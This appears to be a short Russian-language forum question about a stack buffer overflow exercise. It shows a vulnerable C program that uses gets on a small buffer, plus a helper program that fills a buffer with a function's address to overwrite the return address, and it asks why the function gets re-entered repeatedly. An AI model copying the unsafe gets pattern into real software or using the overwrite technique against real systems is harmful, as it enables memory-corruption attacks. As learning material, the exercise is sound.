Вопрос на понимание. Вижу, что работает, не понимаю, почему.
Дано: прога с уязвимостью test void func (void) { gets (small); printf ("%s\n", small); }
int main (void){ func (); return (0); }
Дано: прога, формирующая буфер proc int main (void){ int i = 0; char buf[56]; memset (buf, 0x20, 34); for (i = 32; i <= 52; i += 4) // Адрес функции func в исполняемом test *(long *) &buf[i] = 0x83a40804; //gdb test; disas main puts (buf); return (0); }
Запуск в баше: 1) ./test string string 2) ./proc 8
Далее: (./proc;cat) | ./test 8 1 1 2 2 ... 6 Ошибка переполнения
Т.е. один раз переполнили буфер, а дальше подавали инфу с cat
Понятно, что на промежутке i = 32 <= 52 адрес уложили 6 раз, но почему сработало? Не могу осознать механизм "подтягивания" того, что оказалось за пределами буфера с каждым новым вызовом func.